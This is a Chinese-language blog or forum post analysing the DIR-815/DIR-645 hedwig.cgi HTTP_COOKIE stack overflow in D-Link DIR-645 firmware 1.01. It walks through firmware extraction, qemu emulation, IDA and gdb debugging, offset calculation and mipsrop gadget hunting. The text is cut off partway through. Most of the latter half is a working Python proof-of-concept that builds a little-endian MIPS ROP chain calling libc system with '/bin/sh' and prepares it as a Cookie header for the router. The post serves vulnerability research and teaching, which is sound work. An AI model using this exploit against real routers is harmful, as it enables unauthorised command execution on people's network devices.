首页
论坛
课程
招聘
[原创]dir-645 超长cookie栈溢出漏洞分析
2020-11-25 15:41 13772

[原创]dir-645 超长cookie栈溢出漏洞分析

2020-11-25 15:41
13772

前言

分析一个D-Link的漏洞学习一下路由器漏洞方面的知识,《路由器0day》这本书提到的DIR-815 cookie溢出漏洞的固件在官网上已经找不到了,但是此漏洞影响的范围包括了DIR-645,故用DIR-645 1.01版本的固件分析

分析用到的工具:

IDA Pro:反汇编和远程调试

Ghidra 9.1.2:我的IDA不能生成mips的伪代码,所以我用ghidra来看伪代码

Ubuntu + qemu:模拟路由器运行环境

固件下载链接:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.01.ZIP

 

使用如下命令将文件系统提取出来:

binwalk -e DIR645A1_FW101B06.bin

从书中得知漏洞存在于./htdocs/cgibin中,将cgibin拷贝到物理机中,使用IDA分析,shift+F12打开字符串窗口,搜索“HTTP_COOKIE


双击这一项,定位到rodata段查看详细信息,选中aHttpCookie,按X键查看调用信息(ghidra则是选中函数名,右键->References->find References to #function name#


双击后进入sess_get_uid函数,此函数只是使用了“HTTP_COOKIE”字符串,继续按X键查看调用信息


双击进入hedwigcgi_main函数,看到调用sess_get_uid函数之后紧接着调用了sprintf函数(PS:之所以用sprintf而不是strcpy是因为strcpy只能是字符串到字符串,而sprintf可以是从任意类型到字符串),而sprintf函数就是导致栈溢出的重要函数;接下来需要用IDA进行远程调试,调试之前需要对书中自带的脚本进行一些修改,修改后如下:

#!/bin/bash
#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=123'+'A'*0x600"`
 
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
 
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
         echo -e "\nUsage: sudo $0 \n"
         exit 1
fi
#需要将qemu-mipsel改成qemu-mipsel-static
cp $(which qemu-mipsel-static) ./qemu
 
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi
echo 'run ok'
rm -f ./qemu

使用第二行注释中的命令运行脚本,开启远程调试,接下来会详细讲解如何用IDA远程调试DIR-645路由器固件(主要是本人使用IDA时花一天才解决此问题o(╥﹏╥)o);首先用IDA打开cgibin文件,并定位到上面讲的sprintf函数(注意是“jalr    $t9 ; sprintf”那一行),然后F2下断点


然后在Ubuntu中运行pentest_cgi.sh脚本(运行命令在文件的第二行注释),并等待调试


IDA中选择Debugger->select Debugger…在对话框中选择GDB debugger然后点击OK


重新选择Debugger->Process options… 输入远程路径、hostname和端口,然后单击OK


最后点击Debugger->Attach to process… 我的选择框中只有一项,所以就选这一项,然后单击OK



附加成功后无需再下断点,直接按F9就可以停在调用sprintf函数的位置上

Hex View窗口右键Synchronize with -> SP,这样窗口就会跟着程序走了,方便观察栈溢出

修改pentest_cgi.sh然后配合patternLocOffset.py算出溢出位置,修改后的pentest_cgi.sh代码如下:

# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.133" -g 1234 /htdocs/web/hedwig.cgi

这个pentest_cgi.sh脚本在之后漏洞利用测试的时候也会用到

使用patternLocOffset.py测试固件溢出位置,命令如下:

python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test

直接执行pentest_cgi.sh,并且用IDA附加调试,得到溢出的偏移

将程序报错时显示的字符串带入patternLocOffset工具中,得出偏移位置

查找ROP链时需要用到mipsrop插件,这个插件对IDA7的支持不好,需要用到IDA68,使用时将GitHub上下载的ida工程中的shimsmipsrop两个文件夹下的py文件全都复制到IDAplugin目录中

IDA68中输入命令:mipsrop.stackfinder()

得到以下可做ROP的地址,选择0x159cc

IDA中的mipsrop只是得到ROP的偏移,还需要找到libc.so.0的基地址,

使用qemu模拟mips系统运行时需要先解决网络问题,否则无法传文件;有两种方法,其中一种是修改/etc/network/interfaces文件,这种方法我始终无法成功,所以我选择创建网桥的方法,命令如下:

创建网桥:

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up

创建tap接口,并添加到网桥:

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0

使用命令,启动镜像:

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

进入虚拟机(虚拟机账号/密码:root/root)后需要设置IP,这一步并不是必须的,例如我并没有设置IP就直接可以联网了:

ifconfig eth0 192.168.122.12/24 up

我在没有设置IP的情况下直接ping www.baidu.com可以ping通

接下来需要用scp命令把路由器的所有文件从Ubuntu中复制到Debian中,命令如下(IP改成自己的DebianIP):

scp -r ./squashfs-root  root@192.168.254.132:/root/

运行漏洞代码前先将ASLR关闭

echo 0 > /proc/sys/kernel/randomize_va_space

第一个看似libc.so.0的基地址,实则并不是,有前辈分析此漏洞时使用这种方法成功找到过libc基址,但是我始终无法成功,所以我采用第二种方法

第二种方法是使用qemu的用户模式调试,需要注意的是这种调试方式当qemu-user版本过低时,使用gdb远程调试会出现如下问题

qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x601665d2

此时gdb会显示这是一个bug,并要求你上报

这个错误其实是qemu的一个bug,Ubuntu18.04适配的是2.11.1版本的qemu,此时需要将qemu升级到4.2以上的版本,有两种方法:

1、在GitHub上下载源码,并编译

2、使用Ubuntu20.04及以上版本下载qemu,因为Ubuntu20.04适配的就是qemu 4.2

我选择的是使用Ubuntu20.04运行qemu调试,而Ubuntu20.04是个大坑;首先Ubuntu20.04的源仓库中并没有包含Python2的pip,所以需要使用get-pip.py来安装pip2:

apt-get install python2
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
python2 get-pip.py

使用GitHub或者apt安装好binwalk后使用binwalk提取固件,可能会报此错误

需要手动安装一下sasquatch,命令如下:

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh

当一切就绪时,运行pentest_cgi.sh脚本,然后使用gdb远程调试

gdb-multiarch ./htdocs/cgibin
set arch mips
set endian big
target remote 192.168.80.133:1234

使用之前获得的libc基址+偏移构造ROP链,poc代码如下:

# coding:utf-8
 
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
 
class MIPSPayload:
    BADBYTES=[0x00]
    LITTLE = "little"
    BIG = 'big'
    FILLER = 'A'
    BYTES = 4
    def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes
    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
            return str
 
    def Add(self, data):
        self.shellcode += data
 
    # get RA addr
    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)
 
    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))
 
    def AddBuffer(self,size, byte=FILLER):
        self.Add(byte * size)
 
    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))
 
    def ToString(self,value, size= BYTES):
        data =''
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return  data
 
    def Build(self):
        count = 0
        for c in self.shellcode:
            for cbyte in self.badbytes:
                if c == chr(cbyte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))
            count +=1
        return self.shellcode
 
    def Print(self, bp1=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X"%ord(c))
            sys.stdout.flush()
            if bp1 > 0:
                i += 1
        print "\n"
 
class HTTP:
    HTTP = 'http'
    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.encode_params = True
 
    def Encode(self, data):
        #just for DIR645
        if type(data) == dict:
            pdata =[]
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
            return  data
 
    def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'
        url = '%s://%s'%(self.proto, self.host)
        uri = '/%s'%uri
 
        if data is not None:
            data = self.Encode(data)
        #print data
        if self.verbose:
            print url
 
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST', uri, data, headers=headers)
        response=httpcli.getresponse()
        print response.status
        print response.read()
 
if __name__ == '__main__':
 
    libc = 0x7f738000 #0x40854000
 
    '''
    ROP
    $ra = 0x77f34000 +  0x000158C8
 
    *************************************************
    $s5 = 0x77f34000 + 0x159cc
    $s0 = 0x77f34000 + 0x531FF
 
    0x158c8: 
        .text:000158C8                 move    $t9, $s5
        .text:000158CC                 jalr    $t9
        .text:000158D0                 addiu   $s0, 1
    *************************************************    
    $s0 = 0x77F87200    :system
    $s5 = commandAddr = $sp+0x10
 
    0x159cc:
        .text:000159CC                 addiu   $s5, $sp, 0x10
        .text:000159D0                 move    $a1, $s3
        .text:000159D4                 move    $a2, $s1
        .text:000159D8                 move    $t9, $s0
        .text:000159DC                 jalr    $t9 ; mempcpy
    '''
    
    target = {
        "645-1.01":[0x531ff, 0x158c8, 0x159cc],
    }
    v = '645-1.01'
    cmd = '/bin/sh'
    ip = '192.168.0.1'
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
 
    payload.AddBuffer(1007)                       #filler
    payload.AddAddress(target[v][0], base=libc)   #$s0      0x77f34000 + 0x531ff
    payload.AddBuffer(4)                          #$s1
    payload.AddBuffer(4)                          #$s2
    payload.AddBuffer(4)                          #$s3
    payload.AddBuffer(4)                          #$s4
    payload.AddAddress(target[v][2], base=libc) #$s5      # 0x77f34000 +0x159cc
    payload.AddBuffer(4)                          #unused($s6)
    payload.AddBuffer(4)                          #unused($s7)
    #payload.Add(payload.ToString(0x0043B6D0))
    payload.AddBuffer(4)                          #unused($gp)
    # 1043
    payload.AddAddress(target[v][1], base=libc) #$ra  # 0x77f34000 +0x158c8= 0x77F498C8
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.AddBuffer(4)                          # fill
    payload.Add(cmd)                            # shellcode
 
    pdata = {
        'uid':'shuidi',
        'password':'shuidi',
    }
    print payload.shellcode
    payload = payload.Build()
    print payload
 
    fw = open('dir645_patternLocOffset_test', 'w')
    fw.write(payload)  # 'A'
    fw.close()
    
    '''
    header = {
        'Cookie' : 'uid='+payload.Build(),
        'Accept-Encoding' : 'gzip, deflate',
        'Content-Type' : 'application/x-www-form-urlencoded',
        'User-Agent' : 'Mozilla/4.0 (compat